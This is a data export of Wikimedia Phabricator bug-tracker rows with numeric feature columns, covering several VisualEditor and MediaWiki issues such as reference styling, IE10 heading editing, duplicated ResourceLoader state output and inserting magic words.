Is this just because the CSS isn't being applied when it's ""mw:Transclusion  mw:Extension/ref"" as opposed to just ""mw:Extension/ref""?",,,1372084163,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yifg3bkbmsq2tzfrga4q,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.5,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,5.5,1.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,3.0,10.5,0.5,11.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,3.4418035993740217,0.5596635367762128,"From that article, references 25 and 26 (from {{r}} and <ref> respectively) generate:

{{r}} ->

<span about=""#mwt97"" class=""reference"" data-mw=""…"" rel=""dc:references"" typeof=""mw:Transclusion  mw:Extension/ref"" data-parsoid=""…"">[25]</a></span>

<ref> ->

<span about=""#mwt99"" class=""reference"" data-mw=""…"" id=""…"" rel=""dc:references"" typeof=""mw:Extension/ref"" data-parsoid=""…""><a href=""…"">[26]</a></span>

Is this just because the CSS isn't being applied when it's ""mw:Transclusion  mw:Extension/ref"" as opposed to just ""mw:Extension/ref""?"
52088,VisualEditor: Editing of headings is broken in IE10,"Edit [[User:This, that and the other/sandbox/VE6]] in VE using IE10:

1. Try modifying the heading text. You have to double-click on the heading to be able to modify it. Hopefully this stupid IE behavior can be worked around.

2. Double-click, and modify the heading text. ""Save page"" button is still disabled.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1372059540,1409961747.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-rstmsueangena7h4cdaj,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,10.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,3.443298969072165,0.6185567010309279,"Edit [[User:This, that and the other/sandbox/VE6]] in VE using IE10:

1. Try modifying the heading text. You have to double-click on the heading to be able to modify it. Hopefully this stupid IE behavior can be worked around.

2. Double-click, and modify the heading text. ""Save page"" button is still disabled.

--------------------------
**Version**: unspecified
**Severity**: normal"
243892,VisualEditor: Editing of headings is broken in IE10,This was fixed by undoing MW's overflow:hidden style on headings in https://gerrit.wikimedia.org/r/#/c/144104,,,1409961747,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-rstmsueangena7h4cdaj,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,27.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,1.0,This was fixed by undoing MW's overflow:hidden style on headings in URL
52057,"VisualEditor: Broken layout of inspector menu, link inspector (others?) in Monobook","link icon not square

See attachments. Reproduced in Chrome and Firefox by the original reporter, and me.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11416}",Low,25.0,1372005420,1404168883.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-p5tj36n2mckefr5apd2o,task_description,resolved,True,c1,2,True,False,False,-2,,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.7551020408163267,0.6326530612244898,"link icon not square

See attachments. Reproduced in Chrome and Firefox by the original reporter, and me.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11416}"
241969,"VisualEditor: Broken layout of inspector menu, link inspector (others?) in Monobook","This has been fixed, AFAICT.",,,1404168883,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p5tj36n2mckefr5apd2o,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,"This has been fixed, AFAICT."
241963,"VisualEditor: Broken layout of inspector menu, link inspector (others?) in Monobook","Created attachment 12611
overlapping recycle bin

**Attached**: {F11417}",,,1372005461,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p5tj36n2mckefr5apd2o,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9411764705882355,0.8235294117647058,"Created attachment 12611
overlapping recycle bin

**Attached**: {F11417}"
52038,"OutputPage: Don't output mw.loader.state ""loading"" and mw.loader.state ""ready"" for the same module","It looks like we currently output both for some modules.

Current output on a wiki with user and site css/js enabled[1] but empty:

<script>if(window.mw){
mw.loader.state({""site"":""loading"",""user"":""loading"",""user.groups"":""loading""});
}</script>
<script>if(window.mw){
mw.loader.load([""mediawiki.action.view.postEdit"",""mediawiki.user"",""mediawiki.hidpi"",""mediawiki.page.ready"",""mediawiki.searchSuggest"",""mediawiki.page.watch.ajax"",""ext.vector.collapsibleNav"",""ext.visualEditor.viewPageTarget"",""skins.vector.js""],null,true);
}</script>
<script>if(window.mw){
mw.loader.state({""site"":""ready""});
}</script>
<script>if(window.mw){
mw.loader.state({""user"":""ready""});
}</script>
<script>if(window.mw){
mw.loader.state({""user.groups"":""ready""});
}</script>

The first one with ""loading"" is always output. The last 3 with ""ready"" are output by OutputPage::makeResourceLoaderLink if $module->isKnownEmpty is true.

We should probably optimise this to just output ""ready"" in the first place.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1371976440,1412588792.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-r3jcy4x4njr5hh24ytpk,task_description,resolved,True,c1,2,True,False,False,-2,,0.5,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,2.0,5.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,7.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,1.5,4.5,0.5,1.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,1.5,5.5,7.0,0.0,5.5,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,10.5,5.46219541328237,0.5137959866220736,"It looks like we currently output both for some modules.

Current output on a wiki with user and site css/js enabled[1] but empty:

<script>if(window.mw){
mw.loader.state({""site"":""loading"",""user"":""loading"",""user.groups"":""loading""});
}</script>
<script>if(window.mw){
mw.loader.load([""mediawiki.action.view.postEdit"",""mediawiki.user"",""mediawiki.hidpi"",""mediawiki.page.ready"",""mediawiki.searchSuggest"",""mediawiki.page.watch.ajax"",""ext.vector.collapsibleNav"",""ext.visualEditor.viewPageTarget"",""skins.vector.js""],null,true);
}</script>
<script>if(window.mw){
mw.loader.state({""site"":""ready""});
}</script>
<script>if(window.mw){
mw.loader.state({""user"":""ready""});
}</script>
<script>if(window.mw){
mw.loader.state({""user.groups"":""ready""});
}</script>

The first one with ""loading"" is always output. The last 3 with ""ready"" are output by OutputPage::makeResourceLoaderLink if $module->isKnownEmpty is true.

We should probably optimise this to just output ""ready"" in the first place.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
240886,"OutputPage: Don't output mw.loader.state ""loading"" and mw.loader.state ""ready"" for the same module","> resourceloader: Refactor module links output 
>
> Change-Id: I91754ce5fae3d05b4bfa7372372eba81ee2fc579",,,1412588792,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r3jcy4x4njr5hh24ytpk,task_subcomment,,True,c1,3,True,,,66,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.4,"QUOTE
QUOTE
QUOTE"
240879,"OutputPage: Don't output mw.loader.state ""loading"" and mw.loader.state ""ready"" for the same module","This looks fixed for me, because at the moment I will get directly
mw.loader.state({""site"":""ready"",""user"":""ready"",""user.groups"":""ready""});
when there is no site or user js page (bug 46857?).",,,1408907579,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-r3jcy4x4njr5hh24ytpk,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,8.0,6.0,3.0,3.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9444444444444444,"This looks fixed for me, because at the moment I will get directly
mw.loader.state({""site"":""ready"",""user"":""ready"",""user.groups"":""ready""});
when there is no site or user js page (bug 46857?)."
51996,VisualEditor: Provide a way for users to insert variable magic words,"https://www.mediawiki.org/wiki/Help:Magic_words#Variables

{{CURRENTYEAR}}, {{CURRENTMONTH}], etc. - possibly a pop-up inserter with a brief description of what each do (and their current value?)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=62740",Low,25.0,1371860100,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-dljoa7k34bkwqsbvudos,task_description,open,True,c1,2,True,False,,-2,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,5.0,3.0,2.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,3.272727272727273,0.6060606060606061,"URL

{{CURRENTYEAR}}, {{CURRENTMONTH}], etc. - possibly a pop-up inserter with a brief description of what each do (and their current value?)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
789648,VisualEditor: Provide a way for users to insert variable magic words,"Change 278429 abandoned by Alex Monk:
[WIP] Add MagicWord::getDocs and i18n messages for documentation of magic words

[[https://gerrit.wikimedia.org/r/278429]]",,,1484005244,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,184,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.37037037037037,0.8518518518518519,"Change 278429 abandoned by Alex Monk:
[WIP] Add MagicWord::getDocs and i18n messages for documentation of magic words

[[GERRIT_URL]]"
787889,VisualEditor: Provide a way for users to insert variable magic words,"Change 140445 abandoned by Alex Monk:
[WIP] Allow TemplateData to output information about magic words

[[https://gerrit.wikimedia.org/r/140445]]",,,1483653103,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,183,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.2,0.84,"Change 140445 abandoned by Alex Monk:
[WIP] Allow TemplateData to output information about magic words

[[GERRIT_URL]]"
632477,VisualEditor: Provide a way for users to insert variable magic words,"Change 278429 had a related patch set uploaded (by Alex Monk):
[WIP] Add MagicWord::getDocs and i18n messages for documentation of magic words

[[https://gerrit.wikimedia.org/r/278429]]
",,,1458351113,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,141,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,4.088235294117647,0.8529411764705882,"Change 278429 had a related patch set uploaded (by Alex Monk):
[WIP] Add MagicWord::getDocs and i18n messages for documentation of magic words

[[GERRIT_URL]]
"
615017,VisualEditor: Provide a way for users to insert variable magic words,"Change 140445 had a related patch set uploaded (by Jforrester):
[WIP] Allow TemplateData to output information about magic words

[[https://gerrit.wikimedia.org/r/140445]]
",,,1456023513,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,137,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.129032258064516,0.8387096774193549,"Change 140445 had a related patch set uploaded (by Jforrester):
[WIP] Allow TemplateData to output information about magic words

[[GERRIT_URL]]
"
238496,VisualEditor: Provide a way for users to insert variable magic words,"Change 140445 had a related patch set uploaded by Alex Monk:
[WIP] Allow TemplateData to output information about magic words

https://gerrit.wikimedia.org/r/140445",,,1403119862,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.576923076923077,1.0,"Change 140445 had a related patch set uploaded by Alex Monk:
[WIP] Allow TemplateData to output information about magic words

GERRIT_URL"
238488,VisualEditor: Provide a way for users to insert variable magic words,2014-06-16 22:00:29	<Krinkle>	but we'll need to implemetn support for the colon argument in Parsoid and VisualEditor DM first.,,,1403110567,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,10.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.793103448275862,0.9310344827586207,2014-06-16 22:00:29	<Krinkle>	but we'll need to implemetn support for the colon argument in Parsoid and VisualEditor DM first.
238483,VisualEditor: Provide a way for users to insert variable magic words,"(In reply to Alex Monk from comment #5)
> Apparently some of the magic words involving 'colon arguments' will need
> Parsoid/VE DM support.

Does Parsoid not split out the zeroth argument or something? If so, is there a bug that this can be made semi-dependent on?",,,1403060528,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,50,,0.0,2.0,0.0,2.0,2.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,18.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.340909090909091,0.9318181818181818,"(In reply to Alex Monk from comment #5)
QUOTE
QUOTE

Does Parsoid not split out the zeroth argument or something? If so, is there a bug that this can be made semi-dependent on?"
238479,VisualEditor: Provide a way for users to insert variable magic words,Apparently some of the magic words involving 'colon arguments' will need Parsoid/VE DM support.,,,1402958830,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,50,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.315789473684211,0.9473684210526315,Apparently some of the magic words involving 'colon arguments' will need Parsoid/VE DM support.
238478,VisualEditor: Provide a way for users to insert variable magic words,"(In reply to Alex Monk from comment #3)
> Actually, maybe we should just have VE query
> api.php?action=query&meta=siteinfo&siprop=magicwords, then load a
> documentation message for it in the given language.

no, ignore this",,,1402945015,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9545454545454546,0.8181818181818182,"(In reply to Alex Monk from comment #3)
QUOTE
QUOTE
QUOTE

no, ignore this"
238475,VisualEditor: Provide a way for users to insert variable magic words,"Actually, maybe we should just have VE query api.php?action=query&meta=siteinfo&siprop=magicwords, then load a documentation message for it in the given language.",,,1402761433,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.217391304347826,0.9565217391304348,"Actually, maybe we should just have VE query api.php?action=query&meta=siteinfo&siprop=magicwords, then load a documentation message for it in the given language."
238470,VisualEditor: Provide a way for users to insert variable magic words,"So we need to:

* Alter TemplateData to provide documentation for magic words
* Add extra field to template insert dialog for the addition of magic words.",,,1402696798,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,19.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.193548387096774,0.8064516129032258,"So we need to:

* Alter TemplateData to provide documentation for magic words
* Add extra field to template insert dialog for the addition of magic words."
